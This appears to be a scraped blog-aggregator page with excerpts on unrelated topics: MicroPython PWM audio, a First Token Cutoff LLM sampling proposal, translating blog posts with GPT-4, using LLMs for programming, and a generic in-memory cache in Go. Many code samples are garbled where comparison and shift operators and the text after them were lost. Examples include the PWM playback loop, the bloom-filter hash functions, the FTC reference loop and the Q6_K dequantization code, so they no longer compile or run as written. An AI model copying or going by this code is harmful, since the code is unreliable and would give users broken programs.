pwm.duty_u16(3000) # S0 pwm.duty_u16(12000) # S1 pwm.duty_u16(18000) # S2 pwm.duty_u16(21000) # S3 pwm.duty_u16(24000) # S4 The duty cycle is how much time the pin is set to 1 versus how much time the pin is set to 0. A duty cycle of 65535 means 100% of time pin high. 0% means all the time low. All this, while preserving the set alternating frequency. So if we zoom like if we have an oscilloscope, we can see what happens during S2 and S3 sample generation: S2: ###################### # # # # ###################### # # # # While S3 will be like: ###################### ###################### # # # ###################### ###################### # # # The pin goes up and down with the same frequency, but in the case of S3 it stays up more. This will produce a higher average voltage. This allows us to approximate our wave. ### Convert and play a WAV file In order to play a wav file, we have to convert it into a raw format that is easy to read using MicroPython. I downloaded a wav file saying “Oh no!” from SoundCloud. So my conversion will look like this: ffmpeg -i ohno.wav -ar 24000 -acodec pcm_u8 -f u8 output.raw Note that we converted the file to 8 bit audio (256 different output levels per sample). Anyway our PWM trick is not going to approximate the different levels so well, and we are resource constrained. You can try with 16 bit as well, but I got decent results like this. Then, upload the output.raw file on the device via mpremote: mpremote cp output.raw : Now write a file called “play.py” or as you wish, with this content: from machine import Pin, PWM pwm = PWM(Pin(1)) pwm.freq(100000) f = open("output.raw","rb") buf = bytearray(4096) while f.readinto(buf) > 0: for sample in buf: pwm.duty_u16(sample x=1 x=1 x=1 x=1 x=1 f.close() What we are doing here is just getting the file, 4096 samples per iteration, then “playing” it by setting different PWM duty cycles one after the other, according to the samples values. The problem is, in our PCM file we have 24000 samples per second (see ffmpeg command line). How can be sure that it matches the MicroPython speed? well, indeed it is not a perfect match, so I added “x=1” statements to delay it a bit to kinda match the pitch that looked correct. Oh, and if you are wondering what the sample The downside of all this is that it will take your program busy while playing. I didn’t test it yet, but MicroPython supports threading, so to have a thread playing the audio could be the way to go. ### Bonus point: sin wave sound generation # Sin wave wave=[] wave_samples = 40 pwm.freq(100000) for i in range(wave_samples): x = i/wave_samples*3.14*2 dc = int((1+math.sin(x))*65000) wave.append(dc) print(wave) for i in range(1000): for dc in wave: pwm.duty_u16(dc) Comments

• Microblog: TestMain can cause one to question reality
  Dave Cheney · Feb 21, 2024

  This morning a one line change had several of us tearing up the fabric of reality trying to understand why a failing test wasn’t failing, or, in fact, being run at all. Increasingly frantic efforts to upgrade/downgrade Go, run the tests on another machine, run the tests in CI, all served to only unnerve us […]

• First Token Cutoff LLM sampling
  Antirez · Jan 12, 2024

  From a theoretical standpoint, the best reply provided by an LLM is obtained by always picking the token associated with the highest probability. This approach makes the LLM output deterministic, which is not a good property for a number of applications. For this reason, in order to balance LLMs creativity while preserving adherence to the context, different sampling algorithms have been proposed in recent years. Today one of the most used ones, more or less the default, is called top-p: it is a form of nucleus sampling where top-scoring tokens are collected up to a total probability sum of “p”, then random weighted sampling is performed. In this blog post I’ll examine why I believe nucleus sampling may not be the best approach, and will show a simple and understandable alternative in order to avoid the issues of nucleus sampling. The algorithm is yet a work in progress, but by publishing it now I hope to stimulate some discussion / hacking. ## There is some gold in the logits Despite the fact that LLM logits are one of the few completely understandable parts of the LLM inner working, I generally see very little interest in studying their features, investigating more advanced sampling methods, detecting and signaling users uncertainty and likely hallucination. Visualizing the probabilities distribution for successive tokens is a simple and practical exercise in order to gain some insights: !~! In the image we can see the top 32 candidate tokens colored by probability (white = 0, blue = 1), the selected token and the rank of the selected token (highest probability = 0, the previous one = 1, and so forth). In the above example, the Mistral base model knows the birth and death dates of Umberto Eco, so it confidently signals the most likely token with most of the total probability. Other times the model is more perplexed because either there are multiple ways to express the continuation of the text, or because it is not certain about certain facts. Asking the date of a name which birthday was not learned during training produces a different distribution of token probabilities. However in general what we want to avoid is to select suboptimal tokens, putting the LLM generation outside the path of minimum perplexity and hallucination. Nucleus sampling fails at doing this because accumulating tokens up to “p”, depending on the distribution may include tokens that are extremely weaker than the first choice. Consider, for instance, the “writer” token in the image above. Umberto Eco was a writer, indeed. The token associated with writer, while it is not scoring with a very high value, it is still a lot more above the second choice. Yet a p of 0.3 may accumulate the second token with a low value like 0.01, and yield it with some single-digit probability, with the risk of putting the generation in the wrong path. Instead, in the case of the following token, “who”, there are multiple choices with a relatively similar score, that could be used for alternative generations. ## Making use of the avalanche effect A key observation here is that to select too weak tokens for the sake of variability is not a good deal: even if we only exploit generations moments where there are a few good candidates in order to diversify the output, the avalanche effect will help us: the input context will change, thus the output of the LLM will be perturbed, with the effect of making it more likely to produce some alternative version of the text. ## First Token Cutoff (FTC) algorithm DISCLAIMER: The algorithm described here hasn’t undergone any scientific scrutiny. I experimented a couple of days with different sampling algorithms having “bound worst token” properties, and this one looks like the best balance between applicability, results and understandability. The algorithm described here can be informally stated as follows: - When the LLM is strongly biased towards a given candidate, select it. - When there are multiple viable candidates, produce alternatives. - The selection of the worst possible token should be bounded to a given amount. Past work, like Tail Free Sampling, also noted that a selection should be made across a small set of high-quality tokens emitted by the LLM. However in TFS such set is identified by performing the derivative to select a cluster corresponding to the tokens that don’t see a steep curve after which the token quality decreases strongly. In the algorithm proposed here, instead, we want the selection to follow a more bounded and understandable cut-off relative to the highest scoring token T0, attributing to T0 a special meaning compared to all the other tokens: the level of certainty the LLM has during the emission of such token (a proxy of perplexity, basically). Thus the algorithm refuses every token that is worse than a given percentage if compared to T0. The cut off percentage, that can have a value from 0 to 1, is called “co”. An example and viable “co” could be 0.5. This is how the algorithm works: 1. Compute softmax() of logits. 2. Sort tokens by probability. 3. Given T0, the probability of the best token, compute the ratio of all the other tokens as: r = 1 - (T[i] / T0) 4. Select only tokens for which r 5. Perform weighted random pick among the selected tokens. Note that in this way, regardless of the fact that tokens may have a smooth monotonically decreasing value, there is a hard limit to the tokens we can include in the set of possibilities. Instead with other methods that try to identify high-score clusters, this is not the case. ## Practical examples One reason why nucleus top-p sampling does not look to fail catastrophically in the practice, is that often times the first token probability is very high, thus when the perplexity is low, and also all the times casually we don’t collect and then pick low-quality tokens, the generation continues along a sensible path. Things are more problematic when there are successive tokens with probabilities like: 0.25, 0.14, 0.01 With a p=0.4, we could collect the third low quality token and yield it ~3% probability. Now consider First Token Cutoff with a co value of 0.5 (token can be up to 50% worse than first one): The second token r value is: r[t1] = 1-(0.14/0.25) = 0.44 # 0.44 r[t2] = 1-(0.01/0.25) = 0.96 # 0.96 > 0.5, this token is refused ## Example output Outputs of Mistral base model (no instruct) with co=0.7 for the prompt “Sorted sets are”. The outputs are three successful outputs not cherry picked for quality. 1. Sorted sets are a powerful data structure in Redis. They can be used to store sorted lists, to store unique values, to store scores for ranking, and to store a sorted list of sorted sets. 2. Sorted sets are a very powerful data structure. They allow you to store data in a way that makes it easy to find the highest or lowest values in the set, and they also allow you to sort the data. This can be useful for many different tasks, such as ranking users by their score, or finding the most popular items in a database. 3. Sorted sets are a very powerful data structure that can be used to solve many different problems. The most common use case is to store a list of unique elements, each of which has an associated value. For example, you could use a sorted set to store the names of all the people in your family, with their ages as the associated values. ## Why understandability matters Sampling parameters are among the few things that the end user of LLMs, or the API user, must tune. Trial and error is often needed, however to have a single tunable parameter for which there is an immediate real-world description and intuition helps a lot. Moreover "co" is a linear parameter, so it's particularly simple to reason about VS parameters like temperature, or even "p" of top_p that while linear strongly depends on the distribution shape of the logits. ## Future work I’m at the start of my investigations, so I’ll study and evaluate better this algorithm. More than anything else, I would love to see more interest in sampling algorithms and more interest in moving forward from top-p alike approaches. There are perhaps interesting information to collect from the logits distribution. For example it is likely that a linear probe could be able to learn when the hidden layers of an LLM are dealing with some factual information. This, with the token perplexity, could be used in order to show the user of LLMs that some part of the output is likely wrong. In general visualizing tokens probabilities distribution is very informative and in some way allows to touch with bare hands how LLMs work and what are the candidates at each step. ## Reference implementation logits = mx.softmax(logits) np_logits = np.array(logits) # MX -> NumPy np_logits = np_logits.flatten() sorted_indices = np.argsort(np_logits) sorted_indices = sorted_indices[::-1] co = 0.7 j = 1 t0 = np_logits[sorted_indices[0]] while 1 - (np_logits[sorted_indices[j]] / t0) j += 1 accepted_logits = [] for i in range(0,j): accepted_logits.append(float(np_logits[sorted_indices[j]])) accepted_logits = mx.array(accepted_logits) idx = mx.random.categorical(accepted_logits) idx = int(np.array(idx)) # Convert zero-dim array to scalar token_id = sorted_indices[idx] ## Credits These experiments were really simple to perform thanks to the MLX library from Apple, and the cool and smart developers working incessantily at it. MLX is extremely accessible, like it should be: after all LLMs are imprescrutable, but the inference itself is a simple process. Comments

• Translating blog posts with GPT-4, or: on hope and fear
  Antirez · Jan 09, 2024

  My usual process for writing blog posts is more or less in two steps: 1. Think about what I want to say for weeks or months. No, I don’t spend weeks focusing on a blog post, the process is exactly reversed: I write blog posts about things that are so important to me to be in my mind for weeks. 2. Then, once enough ideas collapsed together in a decent form, I write the blog post in 30 minutes, often without caring much about the form, and I hit “publish”. This process usually works writing the titles of the sections as I initially just got the big picture of what I want to say, and then filling the empty paragraphs with text. Why I take step 2 so lightly? Because I got other stuff to do, and if blogging would take more than 30/60 minutes I would rather not blog at all, or blog less, or suffer doing it: all things I want to avoid at all costs. Blogging is too important to let it go. It’s better, for me, to give up on the form. At the same time, this is why many of my blog posts, regardless of the content that may be more or less informative, more or less useful, are generally badly written. I hope that the fact I can write well enough in my mother language in some way it is still visibile in my English posts, but I have the feeling that the extremely limited vocabulary I possess, the grammar errors, the sentence construction that oftentimes I just take from Italian and turn into English, all those limits irremediably damage the reading experience. This is why, for the first time, to write my blog post about LLMs and programming I tried a different approach: I wrote the post in Italian and I translated it to English using GPT-4. The result is a much better blog post than usually, I believe, and the total time to write it was comparable to writing it in English, because writing in Italian in a bit faster, and this compensated the time needed to cut & paste the sections in GPT-4, wait for the output, check that it matched the Italian meaning, and doing a few corrections and rewriting when needed. It shocks me that I can hear my voice when reading the translation. It does not sound written by somebody else. And, interestingly, the tools to spot GPT generated texts tell me that the post was written “100% by human”. At the same time the process may look a bit synthetic: even worse I may lose confidence writing English if I continue along this path, so I’m still not sure how this blog will be written in the future. One thing is sure: the post you are reading is not just written by myself, but as the tradition in this blog demands, not even re-read or corrected if not for a quick second pass. This way you can see what my written English really is, and if you are curious, compare it with the post about LLMs. The difference is not less than huge. Another point of view on the matter could be that my true voice is the one of the translated blog post, so writing in English is the real bluff here. Because the translated post is more representative of my lexical ability in my mother tongue, and not of the reduced one I can feature when writing in English. Maybe it captures more shades of what I really want to say. But then one could go deeper in arguments about what style really is. Is it more about sentence construction, and the way you put down your ideas, or is it a lot more about the vocabulary used, the exact words and adjectives selected to provide a given image and meaning? Probably both, and the two things are quite an inseparable whole. Anyway the simple fact that now, in 2024, I finally have this choice, fulls me of hope and fear. Hope for the possibilities the humanity will have, with machines that can talk. And fear about the potential AI has to make everybody lazy, no longer willing to do things as hard as learning a new language. Comments

• LLMs and Programming in the first days of 2024
  Antirez · Jan 02, 2024

  I'll start by saying that this article is not meant to be a retrospective on LLMs. It's clear that 2023 was a special year for artificial intelligence: to reiterate that seems rather pointless. Instead, this post aims to be a testimony from an individual programmer. Since the advent of ChatGPT, and later by using LLMs that operate locally, I have made extensive use of this new technology. The goal is to accelerate my ability to write code, but that's not the only purpose. There's also the intent to not waste mental energy on aspects of programming that are not worth the effort. Countless hours spent searching for documentation on peculiar, intellectually uninteresting aspects; the efforts to learn an overly complicated API, often without good reason; writing immediately usable programs that I would discard after a few hours. These are all things I do not want to do, especially now, with Google having become a sea of spam in which to hunt for a few useful things. Meanwhile, I am certainly not a novice in programming. I am capable of writing code without any aid, and indeed, I do so quite often. Over time, I have increasingly used LLMs to write high-level code, especially in Python, and much less so in C. What strikes me about my personal experience with LLMs is that I have learned precisely when to use them and when their use would only slow me down. I have also learned that LLMs are a bit like Wikipedia and all the video courses scattered on YouTube: they help those with the will, ability, and discipline, but they are of marginal benefit to those who have fallen behind. I fear that at least initially, they will only benefit those who already have an advantage. But let's take it step by step. # Omniscient or Parrots? One of the most concerning phenomena of this new wave of novelty and progress in machine learning is the limited ability of AI experts to accept their limited knowledge. Homo sapiens invented neural networks, and then, even more crucially, an algorithm to automatically optimize the parameters of a neural network. Hardware has become capable of training increasingly larger models, and using statistical knowledge about the data to be processed (the priors) and through a lot of trial and error for successive approximations, architectures have been discovered that work better than others. But all in all, neural networks remain quite opaque. In the face of this inability to explain certain emerging capabilities of LLMs, one would have expected more caution from scientists. Instead, many have deeply underestimated LLMs, saying that after all they were nothing more than somewhat advanced Markov chains, capable, at most, of regurgitating extremely limited variations of what they had seen in the training set. Then this notion of the parrot, in the face of evidence, was almost universally retracted. At the same time, much of the enthusiastic masses attributed to LLMs supernatural powers that do not exist in reality. Unfortunately, LLMs can, at most, interpolate in the space represented by the data they have seen during training: and this would already be a lot. In reality, their ability to interpolate is limited (but still astonishing, and also unexpected). Oh, if only the largest LLMs of today could interpolate continuously in the space bounded by all the code they have seen! Even if they would not be able to produce true novelties, they would be able to replace 99% of programmers. The reality is more modest, as it almost always is. An LLM is certainly capable of writing programs that it has not seen in that exact form, showing a certain ability to blend different ideas that appeared in the training set with a certain frequency. It is also clear that this ability has, at the moment, deep limits, and whenever subtle reasoning is required, LLMs fail disastrously. Yet they represent the greatest achievement of AI, from its dawn to today. This seems undeniable. # Stupid but All-Knowing It's true: LLMs are capable, at most, of rudimentary reasoning, often inaccurate, many times peppered with hallucinations about non-existent facts. But they have a vast knowledge. In the field of programming, as well as in other fields for which quality data are available, LLMs are like stupid savants who know a lot of things. It would be terrible to do pair programming with such a partner (for me, pair programming is terrible even in the most general terms): they would have nonsensical ideas and we would have to continuously fight to impose our own. But if this erudite fool is at our disposal and answers all the questions asked of them, things change. Current LLMs will not take us beyond the paths of knowledge, but if we want to tackle a topic we do not know well, they can often lift us from our absolute ignorance to the point where we know enough to move forward on our own. In the field of programming, perhaps their ability would have been of very little interest up to twenty or thirty years ago. Back then you had to know a couple of programming languages, the classic algorithms, and those ten fundamental libraries. The rest you had to add yourself, your own intelligence, expertise, design skills. If you had these ingredients you were an expert programmer, able to do more or less everything. Over time, we have witnessed an explosion of frameworks, programming languages, libraries of all kinds. An explosion of complexity often completely unnecessary and unjustified, but the truth is that things are what they are. And in such a context, an idiot who knows everything is a precious ally. Let me give you an example: my experiments on machine learning were carried forward for at least a year using Keras. Then for various reasons, I switched to PyTorch. I already knew what an embedding or a residual network was, but I didn't feel like studying PyTorch's documentation step by step (as I had done with Keras, which I learned when ChatGPT did not yet exist). With LLMs, it was very easy to write Python code that used Torch. I just needed to have clear ideas about the model I wanted to put together and ask the right questions. # Time for Examples I'm not talking about easy things like: "Hey, what's the method of class X to do Y"? If it were just for that, one might be tempted to agree with those who are skeptical about LLMs. What the more complex models are capable of is much more elaborate. Until a few years ago, it would have been pure magic. I can tell GPT4: look, this is the neural network model I have implemented in PyTorch. These are my batches. I would like to resize the tensors so that the function that emits the batches is compatible with the input of the neural network, and I would like to represent things in this particular way. Can you show me the code needed to do the reshaping? GPT4 writes the code, and all I had to do was test in the Python CLI if the tensors really have the dimensions that are useful to me and if the data layout is correct. Here's another example. Some time ago I had to implement a BLE client for certain ESP32-based devices. After some research, I realized that multi-platform Bluetooth programming bindings are more or less all unusable. The solution was simple, write the code in Objective C using macOS's native API. So, I found myself having to deal with two problems at the same time: learning the cumbersome BLE API of Objective C, full of patterns that I consider nonsensical (I'm a minimalist, that kind of API is at the opposite end of the spectrum of what I consider "good design") and at the same time remembering how to program in Objective C. The last time I had written a program in Objective C was ten years ago: I didn't remember the details of the event loop, memory management, and much more. The final result is this code here, not exactly beautiful, but it does what it has to do. I wrote it in an extremely short time. It would have been impossible otherwise. https://github.com/antirez/freakwan/blob/main/osx-bte-cli/SerialBTE.m The code was written mostly by doing cut & paste on ChatGPT of the things I wanted to do and didn't quite know how to do, so they didn't work properly. Having the LLM explain to me what the problem was and how to solve it. It's true that the LLM didn't write much of that code, but it's also true that it significantly accelerated the writing. Would I have been able to do it without ChatGPT? Certainly yes, but the most interesting thing is not the fact that it would have taken me longer: the truth is that I wouldn't even have tried, because it wouldn't have been worth it. This fact is crucial. The ratio between the effort and the benefit of writing such a program, secondary to my project, would have been inconvenient. Moreover, this had a much more useful secondary collateral effect than the program itself: for that project I modified linenoise (one of my libraries for line editing) so that it works in multiplexing. Another example, this time less about code writing and more about data interpretation. I wanted to set up a Python script using a convolutional neural network I found online, but it was quite lacking in documentation. The network had the advantage of being in ONNX format, so I could easily extract a list of inputs and outputs, and their assigned names. I only knew one thing about this convnet: it detected certain features within an image. I didn't know the input image format and size, and especially, the network's output was far more complicated than I imagined (I thought it was a binary classifier: is the observed image okay or does it have problems? Two outputs, but there were hundreds). I began by copy-pasting the ONNX network metadata output into ChatGPT. I explain to the assistant what little I know about the network. ChatGPT hypothesizes how the inputs are organized, and that the outputs are probably normalized boxes indicating parts of the images corresponding to potential defects, and other outputs indicating the likelihood of these defects. After a few minutes of back-and-forth, I had a Python script capable of network inference, plus the necessary code to transform the starting image into the tensor suitable for input, and so on. What struck me about that session was ChatGPT finally “understood” how the network functioned once it observed the raw output values (the logits, basically) on a test image: a series of floating-point numbers provided the context to identify the exact output details, the normalization, if the boxes where centred or if the left-top corner was specified, and so forth. # Disposable Programs I could document dozens of such cases I've narrated above. It would be pointless, as it's the same story repeating itself in more or less the same way. I have a problem, I need to quickly know something that *I can verify* if the LLM is feeding me nonsense. Well, in such cases, I use the LLM to speed up my need for knowledge. However, there are different cases where I let the LLM write all the code. For example, whenever I need to write a more or less disposable program. Like this one: https://github.com/antirez/simple-language-model/blob/main/plot.py I needed to visualize the loss curve during the learning of a small neural network. I showed GPT4 the format of the CSV file produced by the PyTorch program during learning, and then I requested that if I specified multiple CSV files on the command line, I didn’t want the training and validation loss curves of the same experiment anymore, but a comparison of the validation loss curves of different experiments. The above is the result, as generated by GPT4. Thirty seconds in total. Similarly, I needed a program that read the AirBnB CSV report and grouped my apartments by month and year. Then, considering the cleaning costs, and the number of nights per booking, it would do statistics on the average rental price for different months of the year. This program is extremely useful for me. At the same time, writing it is deadly boring: there's nothing interesting. So I took a nice piece of the CSV file and did copy-paste on GPT4. I wrote to the LLM what the problem was to be solved: the program worked on the first try. I show it to you in full below. ```python import pandas as pd pd.set_option('display.max_rows', None) df = pd.read_csv('listings.csv') reservations = df[df['Type'] == 'Reservation'] reservations['Start Date'] = pd.to_datetime(reservations['Start Date']) reservations['Year'] = reservations['Start Date'].dt.year reservations['Month'] = reservations['Start Date'].dt.month reservations['Nightly Rate'] = (reservations['Amount'] - reservations['Cleaning Fee']) / reservations['Nights'] all_listings = reservations['Listing'].unique() all_years = reservations['Year'].unique() all_months = range(1, 13) index = pd.MultiIndex.from_product([all_listings, all_years, all_months], names=['Listing', 'Year', 'Month']) all_data = pd.DataFrame(index=index).reset_index() merged_data = pd.merge(all_data, reservations, on=['Listing', 'Year', 'Month'], how='left') average_nightly_rates = merged_data.groupby(['Listing', 'Year', 'Month'])['Nightly Rate'].mean().fillna(0) print(average_nightly_rates) ``` To understand exactly how to group the data, which were otherwise quite scattered and disordered, requires some simple reasoning: it’s not a problem that an LLM could solve simply by regurgitating something that approximates the language it has seen. GPT4 has certainly observed similar programs during its training, but almost certainly has not seen a program that had to group things in the exact way I asked for and in a CSV file with that specific format. This shows (in my opinion) that LLMs can interpolate to some extent within the space outlined by the different programs in the training set. Writing this type of program would be, in my opinion, an imprudent use of my time. The fact that an LLM can do it for me certainly speeds up my ability to produce code in a rather direct way: I can focus on the things that matter. # When things don't go as they should: System Programming Despite my success with LLMs and programming, when I write a program in C, I almost always end up using LLMs only as a more convenient form of documentation. I am an expert in system programming, and in that context, LLMs would be useful to me only if they were capable of complex reasoning: in this scenario, they almost always fail. Let's start with the prompt of this experiment: Outline the requirements of a nice, small but working C implementation of a bloom filter. Focus on the important aspects of the hashing function. Then write it, in good quality C. Also consider that your example implementation should be sized to store 100,000 elements, with a false positive probability of at most 5%. The elements added are null-terminated strings. Here’s the output: ```c #include #include #include #include #define N 100000 // Number of elements #define P 0.05 // False positive probability #define M (int)(-(N * log(P)) / (log(2) * log(2))) // Size of bit array #define K (int)(M / N * log(2)) // Number of hash functions unsigned char bitArray[M / 8 + 1]; void setBit(int n) { bitArray[n / 8] |= 1 } int getBit(int n) { return bitArray[n / 8] & (1 } // Basic hash functions (for demonstration purposes) int hash1(char *str) { int hash = 5381; int c; while ((c = *str++)) hash = ((hash return abs(hash % M); } int hash2(char *str) { unsigned long hash = 0; int c; while ((c = *str++)) hash = c + (hash return abs(hash % M); } void add(char *str) { setBit(hash1(str)); setBit(hash2(str)); // Add more hash functions if needed } int is_in(char *str) { return getBit(hash1(str)) && getBit(hash2(str)); // Check more hash functions if used } int main() { char *testStr = "testString"; add(testStr); if (is_in(testStr)) { printf("%s is probably in the set.\n", testStr); } else { printf("%s is definitely not in the set.\n", testStr); } return 0; } ``` The implementation produced by GPT4 is not exactly brilliant. Bloom filters are quite widespread. It’s not such an exotic data structure. However, it’s clear that writing a decent bloom filter requires a greater capacity for abstraction: for example, there’s the problem of finding an effective way to hash the same string N times, and being certain that the hashes are sufficiently decorrelated. Yet if you explicitly ask GPT4 to modify the hashing function so that it produces N decorrelated outputs, its proposed solution is significantly more acceptable: ```c unsigned int hash(const char* str, unsigned int hash_id) { unsigned int hash = 5381; int c; while ((c = *str++)) { hash = ((hash } return hash % BF_SIZE; } ``` If it had come up with this idea on its own, it would have written the bloom filter differently, setting K bits at a time using a single hashing function. GPT4 was able to perform, in isolation, the task of writing an appropriate and more generic hashing function. But in the larger project of writing a bloom filter, it failed to show sufficient reasoning ability, and instead spat out two different but similar hashing functions: this is what one would expect from a poorly written article example on bloom filters. The current weak reasoning abilities of Large Language Models, combined with a possible scarcity of sources on the subject, and even worse, potentially many low-quality sources, collectively result in this meager outcome. Yet, this is not an isolated case. The few times I attempt to use LLMs in the realm of algorithmic or system programming, the results are extremely poor, even when the expected reasoning abilities are not greater than what LLMs seem to possess in contexts like Python programming. At the same time, GPT-4 is capable of decompiling the function it produced (in a separate session), and also precisely understand its purpose: https://chat.openai.com/share/f54b64d7-d19a-4be4-8f10-08553aa812f1 Therefore, stating that there are no uses in system programming contexts is certainly inaccurate. One interesting and pretty much expected thing is that, in these cases, the difference between smaller and larger models is indeed significant. Let’s see how two local models fare. For instance, Mixtral, the MoE of Mistral, responded to the same question as follows: ```c unsigned int hash(const char* str, unsigned int hash_id) { unsigned int hash = 5381; int c; while ((c = *str++)) { hash = ((hash } return hash + hash_id; } ``` Clearly, adding `hash_id` only at the end is an extremely poor solution. Mixtral is an excellent model for many uses, but as for the already weak reasoning capabilities of LLMs, the rule so far is certainly: larger is better. This is a chat with the local LLM deepseek-coder, quantized to 4 bits as I don’t have enough RAM to use the model at higher precision. Yet, being 34 billion parameters large, its reasoning capabilities on this matter seem quite advanced. Here’s the log of the chat (conducted with llama.cpp): > I have a hash function that should output N distinct hashes for the same data. However, I'm seeing a very poor distribution of the produced hashes as I change the value of hash_id: unsigned int hash(const char* str, unsigned int hash_id) { unsigned int hash = 5381; int c; while ((c = *str++)) { hash = ((hash } return hash + hash_id; } Maybe the salting strategy I'm using is poor? How could I change it? [Deep-seek coder reply] A possible issue with your implementation is that you're simply adding `hash_id` to the end of the hash. This can potentially lead to a poor distribution, especially if `hash_id` is too large or is not evenly distributed. Consider using bitwise operations for mixing the `hash_id` in. Here is an example with XOR: ```c unsigned int hash(const char* str, unsigned int hash_id) { unsigned int hash = 5381; int c; while ((c = *str++)) { hash = ((hash } return (hash ^ hash_id); // Mixing the hash_id one more time at the end } ``` This will spread `hash_id` throughout your hashes better than simply adding it, which can lead to less uniform distribution. [Snipped… the actual reply contained more informative stuff] Not bad for a model running on my MacBook M1 Max. It also mixed the sums with XORs. In this case, the model was certainly helped by the fact that I provided clues about the problem to solve, but it was the model that identified what the real source of the trouble was, and the proposed alternative is valid. Something like the above is not within the reach of any book, documentation, or Google search. And as primitive, a result of interpolation, or however you want to perceive it, the model has performed some form of reasoning, if by reasoning, in this specific case, we accept the identification of the origin of a problem and its potential solution. However one wants to think about LLMs, stating that they are not helpful for programmers is extremely rash. At the same time, however, my experience over the past few months suggests that for system programming, LLMs almost never provide acceptable solutions if you are already an experienced programmer. Let me show you another real world example. My current project, ggufflib, involves writing a library that reads and writes GGUF format files, which is the format in which llama.cpp loads quantized models. Initially, to understand how the quantization encodings worked (for speed reasons the bits of each quant are stored in fancy ways), I tried using ChatGPT, but then I resolved to reverse engineer llama.cpp's code: it was much faster. An LLM that can decently assist a system programmer, if it sees the data encoding “struct” declaration and the decoding function, should be able to reconstruct the data format documentation. The functions of llama.cpp were small enough to fit entirely in the context of GPT4, yet the output was completely useless. In these cases, things are done as in the past: paper and pen, reading the code, and seeing where the bits that the decoder extracts are registered. Let me explain better the above use case so that you can try it yourself, if you wish. We have this structure from llama.cpp implementation. // 6-bit quantization // weight is represented as x = a * q // 16 blocks of 16 elements each // Effectively 6.5625 bits per weight typedef struct { uint8_t ql[QK_K/2]; // quants, lower 4 bits uint8_t qh[QK_K/4]; // quants, upper 2 bits int8_t scales[QK_K/16]; // scales, quantized with 8 bits ggml_fp16_t d; // super-block scale } block_q6_K; Then there is this function that is used to perform the dequantization: void dequantize_row_q6_K(const block_q6_K * restrict x, float * restrict y, int k) { assert(k % QK_K == 0); const int nb = k / QK_K; for (int i = 0; i const float d = GGML_FP16_TO_FP32(x[i].d); const uint8_t * restrict ql = x[i].ql; const uint8_t * restrict qh = x[i].qh; const int8_t * restrict sc = x[i].scales; for (int n = 0; n for (int l = 0; l int is = l/16; const int8_t q1 = (int8_t)((ql[l + 0] & 0xF) | (((qh[l] >> 0) & 3) const int8_t q2 = (int8_t)((ql[l + 32] & 0xF) | (((qh[l] >> 2) & 3) const int8_t q3 = (int8_t)((ql[l + 0] >> 4) | (((qh[l] >> 4) & 3) const int8_t q4 = (int8_t)((ql[l + 32] >> 4) | (((qh[l] >> 6) & 3) y[l + 0] = d * sc[is + 0] * q1; y[l + 32] = d * sc[is + 2] * q2; y[l + 64] = d * sc[is + 4] * q3; y[l + 96] = d * sc[is + 6] * q4; } y += 128; ql += 64; qh += 32; sc += 8; } } } If I ask GPT4 to write an outline of the format used, it struggles to provide a clear explanation of how the blocks are stored on the lower / upper 4 bits of “ql” depending on the weight position. For this blog post, I also tried asking it to write a simpler function that shows how data is stored (maybe it can’t explain it with words, but can with code). The produced function is broken in many ways, the indexes are wrong, the 6-bit -> 8-bit sign extension is wrong (it just casts to uint8_t), and so forth. Btw, this is the code that I ended writing myself: } else if (tensor->type == GGUF_TYPE_Q6_K) { uint8_t *block = (uint8_t*)tensor->weights_data; uint64_t i = 0; // i-th weight to dequantize. while(i num_weights) { float super_scale = from_half(*((uint16_t*)(block+128+64+16))); uint8_t *L = block; uint8_t *H = block+128; int8_t *scales = (int8_t*)block+128+64; for (int cluster = 0; cluster for (uint64_t j = 0; j f[i] = (super_scale * scales[j/16]) * ((int8_t) ((((L[j%64] >> (j/64*4)) & 0xF) | (((H[j%32] >> (j/32*2)) & 3) i++; if (i == tensor->num_weights) return f; } L += 64; H += 32; scales += 8; } block += 128+64+16+2; // Go to the next block. } } From the function above, I removed what was the actual contribution of this code: the long comments documenting the exact format used by llama.cpp Q6_K encoding. Now, it would be immensely useful if GPT could do this for me, and I bet it’s just a matter of months, because these kind of tasks are within what can be reached without any breakthrough, just with a bit of scaling. # Putting Things in Perspective I regret to say it, but it's true: most of today's programming consists of regurgitating the same things in slightly different forms. High levels of reasoning are not required. LLMs are quite good at doing this, although they remain strongly limited by the maximum size of their context. This should really make programmers think. Is it worth writing programs of this kind? Sure, you get paid, and quite handsomely, but if an LLM can do part of it, maybe it's not the best place to be in five or ten years. And then, do LLMs have some reasoning abilities, or is it all a bluff? Perhaps at times, they seem to reason only because, as semioticians would say, the "signifier" gives the impression of a meaning that actually does not exist. Those who have worked enough with LLMs, while accepting their limits, know for sure that it cannot be so: their ability to blend what they have seen before goes well beyond randomly regurgitating words. As much as their training was mostly carried out during pre-training, in predicting the next token, this goal forces the model to create some form of abstract model. This model is weak, patchy, and imperfect, but it must exist if we observe what we observe. If our mathematical certainties are doubtful and the greatest experts are often on opposing positions, believing what one sees with their own eyes seems a wise approach. Finally, what sense does it make today not to use LLMs for programming? Asking LLMs the right questions is a fundamental skill. The less it is practiced, the less one will be able to improve their work thanks to AI. And then, developing a descriptive ability of problems is also useful when talking to other human beings. LLMs are not the only ones who sometimes don't understand what we want to say. Communicating poorly is a great limitation, and many programmers communicate very poorly despite being very capable in their specific field. And now Google is unusable: using LLMs even just as a compressed form of documentation is a good idea. For my part, I will continue to make extensive use of them. I have never loved learning the details of an obscure communication protocol or the convoluted methods of a library written by someone who wants to show how good they are. It seems like "junk knowledge" to me. LLMs save me from all this more and more every day. Comments

• Implementing an in-memory cache in Go
  Alex Edwards · Dec 22, 2023

  In almost all web applications that I build, I end up needing to persist some data – either for a short period of time (such as caching the result of an expensive database query), or for the lifetime of the running application until it is restarted. When your application is a single binary running on a single machine, a simple, effective, and no-dependency way to do this is by persisting the data in memory using a mutex-protected map. And since generics was introduced in Go 1.18, it's possible to write a generic implementation that you can use to persist various different data types in a type-safe way. Note: The code for this post can be found in this gist. Long-lived cache If you want to persist data for the lifetime of the running application (or until you deliberately delete the data), you can create a generic Cache type like this: package cache import ( "sync" "time" ) // Cache is a basic in-memory key-value cache implementation. type Cache[K comparable, V any] struct { items map[K]V // The map storing key-value pairs. mu sync.Mutex // Mutex for controlling concurrent access to the cache. } // New creates a new Cache instance. func New[K comparable, V any]() *Cache[K, V] { return &Cache[K, V]{ items: make(map[K]V), } } // Set adds or updates a key-value pair in the cache. func (c *Cache[K, V]) Set(key K, value V) { c.mu.Lock() defer c.mu.Unlock() c.items[key] = value } // Get retrieves the value associated with the given key from the cache. The bool // return value will be false if no matching key is found, and true otherwise. func (c *Cache[K, V]) Get(key K) 